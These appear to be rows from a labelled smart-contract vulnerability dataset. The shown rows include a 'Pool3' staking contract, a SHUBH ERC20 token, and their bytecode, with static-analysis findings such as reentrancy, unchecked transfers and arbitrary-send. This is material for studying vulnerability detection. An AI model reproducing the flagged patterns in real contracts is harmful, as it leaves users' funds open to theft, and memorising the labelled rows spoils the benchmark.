0611c1c611947565b90506000611c2a8383611845565b30600090815260026020526040902054909150611c479082611bb3565b30600090815260026020526040902055505050565b600754611c699083611b71565b600755600854611c799082611bb3565b6008555050565b6000808080611c9460646113d38989611845565b90506000611ca760646113d38a89611845565b90506000611cbf82611cb98b86611b71565b90611b71565b9992985090965090945050505050565b6000808080611cde8886611845565b90506000611cec8887611845565b90506000611cfa8888611845565b90506000611d0c82611cb98686611b71565b939b939a50919850919650505050505050565b8035611d2a81612127565b919050565b600060208284031215611d4157600080fd5b81356116b581612127565b600060208284031215611d5e57600080fd5b81516116b581612127565b60008060408385031215611d7c57600080fd5b8235611d8781612127565b91506020830135611d9781612127565b809150509250929050565b600080600060608486031215611db757600080fd5b8335611dc281612127565b92506020840135611dd281612127565b929592945050506040919091013590565b60008060408385031215611df657600080fd5b8235611e0181612127565b946020939093013593505050565b60006020808385031215611e2257600080fd5b823567ffffffffffffffff80821115611e3a57600080fd5b818501915085601f830112611e4e57600080fd5b813581811115611e6057611e60612111565b8060051b604051601f19603f83011681018181108582111715611e8557611e85612111565b604052828152858101935084860182860187018a1015611ea457600080fd5b600095505b83861015611ece57611eba81611d1f565b855260019590950194938601938601611ea9565b5098975050505050505050565b600060208284031215611eed57600080fd5b813580151581146116b557600080fd5b600060208284031215611f0f57600080fd5b5035919050565b60008060408385031215611f2957600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611f6557858101830151858201604001528201611f49565b81811115611f77576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120395784516001600160a01b031683529383019391830191600101612014565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561206d5761206d6120e5565b500190565b60008261208f57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156120ae576120ae6120e5565b500290565b6000828210156120c5576120c56120e5565b500390565b60006000198214156120de576120de6120e5565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461088957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201b9e27b0ddb7bf2fce37c2bde989fb2d709befe4e38d64c72b255fd8c79d723664736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,681 |
0xc81717381c395430f8f1c9ac251817c519849b95 | pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
admin = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract Pool3 is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
address public tokenAddress;
address public liquiditytoken1;
address public feeDirection;
// reward rate % per year
uint public rewardRate = 92000;
uint public rewardInterval = 365 days;
// staking fee percent
uint public stakingFeeRate = 150;
// unstaking fee percent
uint public unstakingFeeRate = 0;
// unstaking possible Time
uint public PossibleUnstakeTime = 24 hours;
uint public totalClaimedRewards = 0;
uint private FundedTokens;
bool public stakingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
/*=============================ADMINISTRATIVE FUNCTIONS ==================================*/
function setTokenAddresses(address _tokenAddr, address _liquidityAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0) && _liquidityAddr != address(0), "Invalid addresses format are not supported");
tokenAddress = _tokenAddr;
liquiditytoken1 = _liquidityAddr;
}
function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){
stakingFeeRate = _stakingFeeRate;
unstakingFeeRate = _unstakingFeeRate;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function FeeDirectSet(address _address) public onlyOwner returns(bool){
feeDirection = _address;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
FundedTokens = _poolreward;
}
function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){
PossibleUnstakeTime = _possibleUnstakeTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowStaking(bool _status) public onlyOwner returns(bool){
require(tokenAddress != address(0) && liquiditytoken1 != address(0) && feeDirection != address(0), "Interracting token addresses are not yet configured");
stakingStatus = _status;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function farm(uint amountToStake) public {
require(stakingStatus == true, "Staking is not yet initialized");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(liquiditytoken1).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(liquiditytoken1).transfer(feeDirection, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function unfarm(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(liquiditytoken1).transfer(feeDirection, fee), "Could not transfer withdraw fee.");
require(Token(liquiditytoken1).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function harvest() public {
updateAccount(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= FundedTokens) {
return 0;
}
uint remaining = FundedTokens.sub(totalClaimedRewards);
return remaining;
}
} | 0x608060405234801561001057600080fd5b50600436106101e55760003560e01c80636a395ccb1161010f578063d578ceab116100a2578063f2fde38b11610071578063f2fde38b14610489578063f3073ee7146104af578063f3f91fa0146104ce578063f851a440146104f4576101e5565b8063d578ceab14610469578063d816c7d514610471578063e97eff7114610479578063f1587ea114610481576101e5565b8063a89c8c5e116100de578063a89c8c5e146103f0578063bec4de3f1461041e578063c0a6d78b14610426578063c326bf4f14610443576101e5565b80636a395ccb146103845780637b0a47ee146103ba57806381cee3b1146103c25780639d76ea58146103e8576101e5565b8063455ab53c11610187578063583d42fd11610156578063583d42fd146103285780635ef057be1461034e5780636270cd18146103565780636654ffdf1461037c576101e5565b8063455ab53c146102de5780634641257d146102e65780634908e386146102ee578063538a85a11461030b576101e5565b80632ec14e85116101c35780632ec14e8514610272578063308feec31461029657806337c5785a1461029e57806338443177146102c1576101e5565b8063069ca4d0146101ea5780631c885bae1461021b5780631e94723f1461023a575b600080fd5b6102076004803603602081101561020057600080fd5b50356104fc565b604080519115158252519081900360200190f35b6102386004803603602081101561023157600080fd5b503561051d565b005b6102606004803603602081101561025057600080fd5b50356001600160a01b0316610827565b60408051918252519081900360200190f35b61027a6108da565b604080516001600160a01b039092168252519081900360200190f35b6102606108e9565b610207600480360360408110156102b457600080fd5b50803590602001356108fb565b610207600480360360208110156102d757600080fd5b503561091f565b610207610940565b610238610949565b6102076004803603602081101561030457600080fd5b5035610954565b6102386004803603602081101561032157600080fd5b5035610975565b6102606004803603602081101561033e57600080fd5b50356001600160a01b0316610c69565b610260610c7b565b6102606004803603602081101561036c57600080fd5b50356001600160a01b0316610c81565b610260610c93565b6102386004803603606081101561039a57600080fd5b506001600160a01b03813581169160208101359091169060400135610c99565b610260610d73565b610207600480360360208110156103d857600080fd5b50356001600160a01b0316610d79565b61027a610db5565b6102076004803603604081101561040657600080fd5b506001600160a01b0381358116916020013516610dc4565b610260610e6a565b6102076004803603602081101561043c57600080fd5b5035610e70565b6102606004803603602081101561045957600080fd5b50356001600160a01b0316610e91565b610260610ea3565b610260610ea9565b61027a610eaf565b610260610ebe565b6102386004803603602081101561049f57600080fd5b50356001600160a01b0316610ef2565b610207600480360360208110156104c557600080fd5b50351515610f77565b610260600480360360208110156104e457600080fd5b50356001600160a01b0316611019565b61027a61102b565b600080546001600160a01b0316331461051457600080fd5b60059190915590565b336000908152600e6020526040902054811115610581576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600854336000908152600f602052604090205461059f90429061103a565b116105db5760405162461bcd60e51b815260040180806020018281038252603b8152602001806113a7603b913960400191505060405180910390fd5b6105e433611051565b6000610607612710610601600754856111e590919063ffffffff16565b9061120c565b90506000610615838361103a565b6002546003546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101879052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561067057600080fd5b505af1158015610684573d6000803e3d6000fd5b505050506040513d602081101561069a57600080fd5b50516106ed576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6002546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561074157600080fd5b505af1158015610755573d6000803e3d6000fd5b505050506040513d602081101561076b57600080fd5b50516107be576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600e60205260409020546107d8908461103a565b336000818152600e60205260409020919091556107f790600c90611221565b80156108105750336000908152600e6020526040902054155b1561082257610820600c33611236565b505b505050565b6000610834600c83611221565b610840575060006108d5565b6001600160a01b0382166000908152600e6020526040902054610865575060006108d5565b6001600160a01b03821660009081526010602052604081205461088990429061103a565b6001600160a01b0384166000908152600e602052604081205460055460045493945090926108cf91612710916106019190829088906108c99089906111e5565b906111e5565b93505050505b919050565b6002546001600160a01b031681565b60006108f5600c61124b565b90505b90565b600080546001600160a01b0316331461091357600080fd5b60069290925560075590565b600080546001600160a01b0316331461093757600080fd5b600a9190915590565b600b5460ff1681565b61095233611051565b565b600080546001600160a01b0316331461096c57600080fd5b60049190915590565b600b5460ff1615156001146109d1576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b60008111610a26576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600254604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b505050506040513d6020811015610aaa57600080fd5b5051610afd576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b610b0633611051565b6000610b23612710610601600654856111e590919063ffffffff16565b90506000610b31838361103a565b6002546003546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101879052905193945091169163a9059cbb916044808201926020929091908290030181600087803b158015610b8c57600080fd5b505af1158015610ba0573d6000803e3d6000fd5b505050506040513d6020811015610bb657600080fd5b5051610c09576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600e6020526040902054610c239082611256565b336000818152600e6020526040902091909155610c4290600c90611221565b61082257610c51600c33611265565b50336000908152600f60205260409020429055505050565b600f6020526000908152604090205481565b60065481565b60116020526000908152604090205481565b60085481565b6000546001600160a01b03163314610cb057600080fd5b6001546001600160a01b0384811691161415610ceb57610cce610ebe565b811115610cda57600080fd5b600954610ce79082611256565b6009555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610d4257600080fd5b505af1158015610d56573d6000803e3d6000fd5b505050506040513d6020811015610d6c57600080fd5b5050505050565b60045481565b600080546001600160a01b03163314610d9157600080fd5b600380546001600160a01b0319166001600160a01b03939093169290921790915590565b6001546001600160a01b031681565b600080546001600160a01b03163314610ddc57600080fd5b6001600160a01b03831615801590610dfc57506001600160a01b03821615155b610e375760405162461bcd60e51b815260040180806020018281038252602a815260200180611415602a913960400191505060405180910390fd5b600180546001600160a01b039485166001600160a01b031991821617909155600280549390941692169190911790915590565b60055481565b600080546001600160a01b03163314610e8857600080fd5b60089190915590565b600e6020526000908152604090205481565b60095481565b60075481565b6003546001600160a01b031681565b6000600a5460095410610ed3575060006108f8565b6000610eec600954600a5461103a90919063ffffffff16565b91505090565b6000546001600160a01b03163314610f0957600080fd5b6001600160a01b038116610f1c57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610f8f57600080fd5b6001546001600160a01b031615801590610fb357506002546001600160a01b031615155b8015610fc957506003546001600160a01b031615155b6110045760405162461bcd60e51b81526004018080602001828103825260338152602001806113e26033913960400191505060405180910390fd5b600b805460ff19169215159290921790915590565b60106020526000908152604090205481565b6000546001600160a01b031681565b60008282111561104657fe5b508082035b92915050565b600061105c82610827565b905080156111c8576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156110ba57600080fd5b505af11580156110ce573d6000803e3d6000fd5b505050506040513d60208110156110e457600080fd5b5051611137576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526011602052604090205461115a9082611256565b6001600160a01b0383166000908152601160205260409020556009546111809082611256565b600955604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152601060205260409020429055565b60008282028315806111ff5750828482816111fc57fe5b04145b61120557fe5b9392505050565b60008082848161121857fe5b04949350505050565b6000611205836001600160a01b03841661127a565b6000611205836001600160a01b038416611292565b600061104b82611358565b60008282018381101561120557fe5b6000611205836001600160a01b03841661135c565b60009081526001919091016020526040902054151590565b6000818152600183016020526040812054801561134e57835460001980830191908101906000908790839081106112c557fe5b90600052602060002001549050808760000184815481106112e257fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061131257fe5b6001900381819060005260206000200160009055905586600101600087815260200190815260200160002060009055600194505050505061104b565b600091505061104b565b5490565b6000611368838361127a565b61139e5750815460018181018455600084815260208082209093018490558454848252828601909352604090209190915561104b565b50600061104b56fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e74657272616374696e6720746f6b656e2061646472657373657320617265206e6f742079657420636f6e66696775726564496e76616c69642061646472657373657320666f726d617420617265206e6f7420737570706f72746564a26469706673582212208acd6b89beefc9578401f1722f82e01bd7c5bee55c9d6c0d47e71799e84fbc0164736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,682 |
0x2c8aec2Fd0c0fEba71E0424873461908067d5bF4 | /**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'SHUBH' token contract
//
// Symbol : SHUBH
// Name : SHUBH
// Total supply: 2 000 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract SHUBH is BurnableToken {
string public constant name = "SHUBH";
string public constant symbol = "SHUBH";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 2000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
